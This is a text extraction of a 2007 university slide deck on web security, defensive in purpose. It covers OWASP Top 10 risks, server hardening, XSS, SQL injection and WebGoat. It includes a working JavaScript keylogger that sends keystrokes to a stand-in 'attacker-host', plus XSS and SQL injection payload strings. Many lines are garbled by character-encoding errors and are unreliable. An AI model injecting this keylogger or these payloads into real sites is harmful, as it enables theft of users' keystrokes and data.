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Why Talk About Web Security
Higher Ed Data Breaches

•UCLA 800,000 personal data
•5 @ Ohio University  300,000 personal info

–60,000 medical center info
–7,000 personal info

•University of Texas 197,000 personal info
•Vermont State College 20,000 personal info
•Georgetown University 41,000 SSN
•UI 23,000 Personal Info

–Stolen laptop 280 SSN

•UNI Employee W-2s
www.privacyrights.org/ar/ChronDataBreaches.htm



Top 10 
Web Security Vulnerabilities

1. Poorly validated Input
2. Broken Access Control 
3. Broken Authentication and Session Management
4. Cross Site Scripting
5. Buffer Overflow
6. Injection Flaws
7. Improper Error Handling
8. Insecure Storage
9. Application Denial of Service
10. Insecure Configuration Management

www.owasp.org
OWASPτOpen Web Application Security Project

http://www.owasp.org/


OWASP Top 10 
Web Security Vulnerabilities

1. Poorly validated Input
Malicious input can attack backend systems

2. Broken Access Control 
Users have access to more than they need

3. Broken Authentication and Session Management
Credentials or auth tokens can be captured and reused

4. Cross Site Scripting
[ŀŎƪ ƻŦ ǾŀƭƛŘŀǘƛƻƴ ŀƭƭƻǿǎ ŀǘǘŀŎƪŜǊ ǘƻ ŎƻƴǘǊƻƭ ǳǎŜǊΩǎ ōǊƻǿǎŜǊ

5. Buffer Overflow
Lack of validation can crash application or give attacker control of 

system



OWASP Top 10 
Web Security Vulnerabilities

6. Injection Flaws
Attacker sends parameters to other systems (SQL)

7. Improper Error Handling
Unhandled errors reveal details about system design

8. Insecure Storage
Encryption is faulty or not properly used

9. Application Denial of Service
Attacker consumes resources and others are denied access

10. Insecure Configuration Management
Configuration errors are introduced



Does secure software exist?

•Secure until proven vulnerable hacked.

–Iƻǿ Řƻ ȅƻǳ ƪƴƻǿ ƛǘΩǎ ǎŜŎǳǊŜΚ

–How secure is it?

•Assume software is insecure.

•Designing security is a process.

–MS Security Development Lifecycle (SDL)

–Book by Michael Howard & Steve Lipner



Questions

•Which topics are you interested in?

•Who is a web server admin?

•Who is a web application programmer?

•Would a web vulnerability scanner help?

•What about secure programming
training or education?



SANS
Web Application Security Workshop

•www.sans.org/partnership

•June 5-6 2007

–University of Missouri  ( Columbia ) $450

•Security 519: 

–test existing web applications against common 
exploitation techniques 

–architect, design and develop more secure web 
applications. 

http://www.sans.org/partnership


WƘŀǘΩǎ With Web Programmers?

•If software could properly validate input and 
ƻǳǘǇǳǘΣ Ƴƻǎǘ ǿŜō ŀǘǘŀŎƪǎ ǿƻǳƭŘƴΩǘ ǿƻǊƪΦ

•How to secure web applications

–Ask programmers to validate input and output.

•This sometimes requires a demonstration.

–Ask them to stop writing bugs.

•Software will continue to be insecure

–How can flawed software be secured?



Who Wants To Hack Your Website?

•aƻǎǘ ƘŀŎƪŜǊǎ ŀǊŜ ƭƛƪŜ LƴǘŜǊƴŜǘ άǎŎŀǾŜƴƎŜǊǎέ

–They find valuable things and trade them

–Passwords, CC#s, pornography, etc

–Launching point for other attacks

•Bots, Zombies, Proxies / Redirects

•Others are financially or politically motivated



May 2007
Month of ActiveX Bugs (MoAxB)

•Moaxb.blogspot.com

•Already announced two DOS vulnerabilities
–Via Powerpoint and Excel

•Remote Code Execution is promised

•SupportSoft Maker of ActiveX controls has 
remote code execution
–www.supportsoft.com/support/controls_update.asp

•Month of Browser Bugs (MoBB) 
–31 bugs in various browsers



HTTPS Certificate Security

•New Zealand bank was hacked
–Their website presented a phony certificate

–Only 1 customer of 300 rejected the certificate

•SSL Certificates are essential 
–.ǳǘ ǘƘŜǊŜΩǎ ƳƻǊŜ ǘƻ ǿŜō ǎŜŎǳǊƛǘȅ ǘƘŀƴ certs

•Get certificates from IT Security Office
–Document renewal procedures

–Renew certs before they expire

http://computerworld.co.nz/news.nsf/NL/FCC8B6B48B24CDF2CC2570020018FF73



WEB ARCHITECTURE & SECURITY



Web Platform

•Server OS + Hardware

•Web Server

•Database Server

•Web application framework or language

•Scripting language or Application

•Client & Browser Security

•Authentication and Session Management



Server Security

•hŦǘŜƴ ǇŜƻǇƭŜ ŘƻƴΩǘ ǘŀƪŜ ǿŜō ǎŜǊǾŜǊǎ ǎŜǊƛƻǳǎƭȅ
•Server security is essential for web security
•Harden servers from attack

–Use a hardening guide like CIS or MS
–Use Windows Security Templates 
–Audit Users, Groups and Permissions
–Enable DEP to prevent buffer overflows

•Follow Best Practices
–SSL Certificate
–Patching, Host Based Firewall & Anti-Virus 
–Password Policy and Lockout



Web Server

•Apache and IIS 6 are fairly secure OTB
•Configurations can become complex over time

–Look for unused modules or paths
–Look for world readable scripts or code
–Use Hardening Guides CIS and MS
–Keep your config well-organized and easy to read

•Create default error messages
–Stop applications and SQL from revealing how they work

•Monitor Logs ςEveryday
–Most web applications typically log to web server log

•Remove sample and test applications
•Patch, (win)JAIL Change Doc Root 



Hardening Guides

•Securing Apache Step by step
–http://www.cgisecurity.com/lib/ryan_barnett_gcux_p

ractical.html

•Windows Server 2003 Security Guide
–http://www.microsoft.com/technet/security/prodtech

/windowsserver2003/w2003hg/sgch00.mspx

•Center for Internet Security (CIS)
–All major Operating Systems

–Apache, SQL & Oracle, 

–http://www.cisecurity.org/

http://www.cgisecurity.com/lib/ryan_barnett_gcux_practical.html
http://www.cgisecurity.com/lib/ryan_barnett_gcux_practical.html
http://www.microsoft.com/technet/security/prodtech/windowsserver2003/w2003hg/sgch00.mspx
http://www.microsoft.com/technet/security/prodtech/windowsserver2003/w2003hg/sgch00.mspx


Additional Security
Mod_Security & URLScan

•Validate input before the application

•Mod_Security ςά²Ŝō ŀǇǇƭƛŎŀǘƛƻƴ ŦƛǊŜǿŀƭƭέ

–Full sessions logging and correlation

–Attack & Anomaly Detection

–Positive security only allows valid requests

•URLScanςMost features built-in to IIS

–URLScan must be tailored to your environment



Web Application Framework

•PHP,  Java Servlet Engine, Mod_PERL, etc

•Secure configuration 

–PHP Suhosin & Hardening Patch

–PHP Security Consortium  - Security Guide

–Perl security Guide 
•http://perl.apache.org/docs/1.0/guide/security.html

•Include framework in patch cycle



Scripting and Application Security

•Select Secure Applications

–Understand current web security issues

–Interrogate vendors or OSS projects

•How does it handle input and output validation?

•How does it assemble SQL queries?

•How is authentication and session tracking handled?

•What would happen if a vulnerability is discovered?

–Use a sandboxed or managed code environment

–Patch Scripting Language or Application.



Database Security

•Isolate Database Server
–Database should be separate from web server
–Use a firewall to severely restrict access

•Encrypt database connections
•Harden the Database Server

–CIS SQL Hardening Guide
–Configure Users and permissions carefully
–Use separate SQL accounts for Users and Admins
–Make sure to set administrative password

•Use parameterized SQL or Server Side SQL



Client & Browser Security

•²ƘŀǘΩǎ ŀ .ǊƻǿǎŜǊΚ ²ƻǊŘΣ w{{Σ h{Σ ŜǘŎ
• These are all vulnerable to web attacks

•Educate users about HTTPS

•Audit ActiveX controls

–5ƻƴΩǘ !ƭƭƻǿ ƛƴǎǘŀƭƭŀǘƛƻƴ ƻŦ ǳƴǎƛƎƴŜŘ !ŎǘƛǾŜ·

–5ƻƴΩǘ tǊƻƳǇǘ ǳǎŜǊ ǘƻ ƛƴǎǘŀƭƭ ǳƴǎƛƎƴŜŘ !ŎǘƛǾŜ·

•Patch Helper Applications Secunia

–Secunia.com/software_inspector - requires Java



Session Security & Authentication

•Anything passed to client is readable

–IƛŘŘŜƴ ŦƛŜƭŘǎ ŀƴŘ ŎƻƻƪƛŜǎ ŀǊŜƴΩǘ ƘƛŘŘŜƴ

–Use Webscarab or other proxy to analyze

•Encrypt info in cookies and hidden fields

–Apply a timestamp to sensitive variables

–Use strong sessionIDs >16 chars



XSS

ά!ǊŜƴϥǘ /Ǌƻǎǎ {ƛǘŜ {ŎǊƛǇǘƛƴƎ ǾǳƭƴŜǊŀōƛƭƛǘƛŜǎ ƭŀƳŜΚ 

All they can do is display annoying popupsΦέ - Billy Hoffman, SPI Dynamics



Wait, maybe XSS isn't so lame after all.

Oh, and hijack your HTTP sessions... 

and detect every website you have visited... 

and scan or fingerprint your internal network... 

and reconfigure your routers... 

and brute force usernames and passwords... 

and capture all the words you search on Google. 

And, I almost forgot, they can self propagate too. 



What is Cross Site Scripting?

•Attacker injects a script in your browser via 
vulnerable web application.

–Normally due to faulty input or output validation

•This script accesses information in your browser

–Installs Web Keylogger, Steal Cookies, etc

–Gather browser history and sell as market research

•http://example.edu/vulnerable.php?formvalue=<
{/wLt¢Ҕ ŀƭŜǊǘ όάȅƻǳ ŀǊŜ ǾǳƭƴŜǊŀōƭŜ ǘƻ ŎǊƻǎǎ-site 
ǎŎǊƛǇǘƛƴƎΗέύΤғκ{/wLt¢Ҕ



Javascript Keylogger

http://netmesh.info/jernst/2006/09/25

<script LANGUAGE="JavaScript">
document.captureEvents(Event.KEYPRESS);
document.onkeypress = captureKeyStrokes; 

function captureKeyStrokes(e) { 
var key = String.fromCharCode(e.which);  
var img = new Img(); 
var src = "http://attacker-host/?" + "keystroke=" + key;
img.src = src;
return true;

}
</script>

http://netmesh.info/jernst/2006/09/25


Jikto
Web 2.0 Worm

•άJikto ǎƛƭŜƴǘƭȅ ŎǊŀǿƭǎ ŀƴŘ ΨŀǳŘƛǘǎΩ ŀƴȅ ǇǳōƭƛŎ 
ǿŜōǎƛǘŜ ŀƴŘ ǎŜƴŘǎ ǘƘŜ ǊŜǎǳƭǘǎ ǘƻ ŀ оǊŘ ǇŀǊǘȅΦέ 

•Jikto can infect any XSS vulnerable website 

–Infecting vistors with the worm

–Using their browser to attack other sites.

•Billy Hoffman presented Jikto at schmoocon



Javascript and XSS are Serious Threats

•Javascript is compatible across major browsers
–LǘΩǎ ŀ ǇƻǿŜǊŦǳƭ ƭŀƴƎǳŀƎŜ

–Exploits will probably become more insidious

•XSS Vulnerabilities are plentiful
–XSS is often overlooked

–Many admins ŘƻƴΩǘ ƳƻƴƛǘƻǊ ŀǇǇƭƛŎŀǘƛƻƴ ǾǳƭƴŜǊŀōƛƭƛǘƛŜǎ

–http://ha.ckers.org/xss.html
•Examples and encoding tools

–Myspace worm infected over 1 million < 1 hour
•What about Ebay, Amazon, etc

http://ha.ckers.org/xss.html


XSS is a Serious Threat to Admins

•Normally, XSS is exploited by tricking users

•Script can be injected into admin browsers

–Administrative web applications

–Anti-virus management tool

–Backup tools, WSUS, etc

–What about Webex or Netmeeting?

•.ƛƭƭȅ IƻŦŦƳŀƴΩǎ aƻǘƘŜǊΩǎ 5ŀȅ ƎƛŦǘ

–²Ƙȅ ƛǎƴΩǘ ·{{ ŎƻƴǎƛŘŜǊŜŘ ǎŜǊƛƻǳǎΚ



·{{ ŦƻǊ aƻǘƘŜǊΩǎ 5ŀȅ
http://technology.cnn.com/search? 

&#72;&#97;&#112;&#112;&#121;&#32;&#77;&#111;&#116;&#104;&#101;&#114;&#39;&#115;&#32;&#68;&9
7;&#121;&#44;&#32;&#77;&#111;&#109



VALIDATION AND INJECTION



How Do You Find Validation Errors?

•LǘΩǎ ƭƛƪŜƭȅ ǎƻƳŜƻƴŜ Ƙŀǎ ŀƭǊŜŀŘȅ ŦƻǳƴŘ ǘƘŜƳΦ

•Examine logs for anomalous activity.

•Or, test it yourself.

•Ask application developers.



SQL Injection

•Manipulating SQL queries with user input

–Caused by not properly validating user input

–Can expose some or all information in database

•Including web application usernames and passwords

–Can allow execution of system commands

•Various types of attacks

–Enumeration, Learn db structure

–String, Numeric, or Union injection



Basic SQL Injection Example

•String Injection Attack

–Append additional criteria  to string

–Forcing WHERE to be true displays all data

SELECT *

FROM Table

²I9w9 {{b Ґ ΨǾŀƭǳŜ ŦǊƻƳ ǿŜō ŦƻǊƳΩΤ

•SQL Injection

²I9w9 {{b Ґ ΨŀƴȅǘƘƛƴƎΩ hw ΨȄΩ Ґ ΨȄΩΤ



Encoding Attacks

•Character encoding allows data in many forms

–ASCII, UTF-8,  UTF-16, url encode, modified UTF-8

–Double encoded, Triple encoded

•Which ones do your applications filter?

•Normalize all input

•Use existing libraries to filter content



OWASP
Open Web Application Security Project

•Input Validation Libraries

–PHP, Java & Regular expressions

•Guide to building secure applications

•Testing framework & checklist

•WebScarabςTraffic analyzer 

•WebGoat ςWeb Security Learning Tool



Installing and Configuring WebGoat

•Download Latest

–Java Development Kit (JDK)

–Tomcat servlet engine

–WebGoat.war file

•Copy WebGoat.war into document root

•Copy config into users.xml

•Set password

•Open http://localhost:8080/WebGoat/attack



June Security Seminar
2500 D UCC



wƻōōȅΩǎ ¦ƴōƛŀǎŜŘ .Ŝǎǘ tǊŀŎǘƛŎŜǎ

1. Set encoding to UTF-8 (or whatever) to 
prevent encoding attacks

2. In scripts, only allow valid data; if that breaks, 
filter out bad stuff.

– Whitelist then blacklist

– Positive security then negative security

3. If you do those two things, it will stop almost 
all attacks



WEB GOAT DEMO



IIS 5 vsIIS 6 Servers

IIS 5
36%

IIS 6
64%



IIS 5 Security

• Step 1:
– Upgrade to IIS 6

• Or
1. Run Lockdown Tool
2. Configure UrlScan
3. Enable Logging
4. Security templates
5. Remove unused script mappings
6. Harden metabase permissions
7. Harden ASP.Net config
8. Remove ISADMPWD directory
9. Review ACLs in virtual directories
• http://windows.stanford.edu/docs/IISsecchecklist.htm
• http://www.sans.org/reading_room/whitepapers/webservers/304.php
• http://www.microsoft.com/technet/archive/security/chklist/iis5cl.mspx?mfr=true

http://windows.stanford.edu/docs/IISsecchecklist.htm
http://www.sans.org/reading_room/whitepapers/webservers/304.php


PHP Insecurity

•Month of PHP bugs ςMarch 2007

–45 security vulnerabilities in the PHP core.

–Not patched in latest versions 4.4.6 or 5.2.1

–http://www.php-security.org/

•Upgrade your PHP Framework

•Hardened php project ςSuhosin

–Protects from known and unknown vulnerabilities

–http://www.hardened-php.net/suhosin

http://www.php-security.org/
http://www.php-security.org/
http://www.php-security.org/


PHP InSecurity?

•Making PHP secure from the inside if futile

–Stefan EsserPHP Security response team

• http://developers.slashdot.org/article.pl?sid=06/12/14/0410240



But, We Have An IDS?

•Can the IDS help?

•LǘΩǎ ƎǊŜŀǘ ŦƻǊ ǇŀǘǘŜǊƴ ƳŀǘŎƘƛƴƎΦ

•Web applications vary widely.

–Identifying an attack string in enormous amounts 
of valid web traffic is less accurate 

•Attacks over https are encrypted.



Web Security Attacks

• Abuse of Functionality 
• Brute Force 
• Buffer Overflow 
• Content Spoofing 
• Credential/Session Prediction 
• Cross-site Scripting 
• Denial of Service 
• Directory Indexing 
• Format String Attack 
• Information Leakage 
• Insufficient Anti-automation 
• Insufficient Authentication 
• Insufficient Authorization 

• Insufficient Process Validation 
• Insufficient Session Expiration 
• LDAP Injection 
• OS Commanding 
• Path Traversal 
• Predictable Resource Location 
• Session Fixation SQL Injection 
• SSI Injection 
• Weak Password 
• Recovery Validation 
• XPath Injection 
• Fingerprinting
• HTTP Response Splitting



Testing with Google

•What scripts do you have?

–ASP, PHP, Perl, etc

–Do you reveal any confidential information?

•Passwords, SSNs, grades, etc

–Commonly vulnerable scripts?

•WƻƘƴƴȅ άihackstuffέ [ƻƴƎ

–Johnny.ihackstuff.com

•Sitedigger



RSS Security

•Hacking Web 2.0: RSS and Atom Feed Implementation 
Vulnerabilities
–http://www.spidynamics.com/spilabs/education/whitepap

ers.html

•Cross-Site Request Forgery
–http://en.wikipedia.org/wiki/Cross-site_request_forgery

•Phishing with Superbait
–http://www.whitehatsec.com/presentations/phishing_sup

erbait.pdf

•RSS Security Resource Archive (Big pimpin)
–http://www.cgisecurity.com/rss/

http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.whitehatsec.com/presentations/phishing_superbait.pdf
http://www.whitehatsec.com/presentations/phishing_superbait.pdf


ActiveX Security

• How to view installed ActiveX 
– http://www.nirsoft.net/utils/axhelper.html
– HKEY_CLASSES_ROOT\CLSID Registry
– IE7 Tools ςInternet Options ςPrograms ςManage add-ons

• Improvements in IE7
– http://msdn.microsoft.com/library/default.asp?url=/library/en-

us/IETechCol/cols/dnexpie/activex_security.asp

• Lessons learned from Microsoft's MS06-013 patch
– http://www.securityfocus.com/infocus/1863

• ActiveX security faces storm before calm
– http://www.securityfocus.com/news/11403

• Database of ActiveX objects Good, Bad, Ugly
– http://www.castlecops.com/ActiveX.html

• ActiveX exploder
– http://www.halcyon.com/mclain/ActiveX/Exploder/FAQ.htm

• SupportSoft Maker of ActiveX controls has remote code execution
– www.supportsoft.com/support/controls_update.asp

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/IETechCol/cols/dnexpie/activex_security.asp
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/IETechCol/cols/dnexpie/activex_security.asp
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/IETechCol/cols/dnexpie/activex_security.asp
http://www.castlecops.com/ActiveX.html
http://www.halcyon.com/mclain/ActiveX/Exploder/FAQ.htm
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•Web Applications (Hacking Exposed)

•OWASP www.owasp.org
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http://www.owasp.org/
http://www.modsecurity.org/
http://www.cisecurity.org/

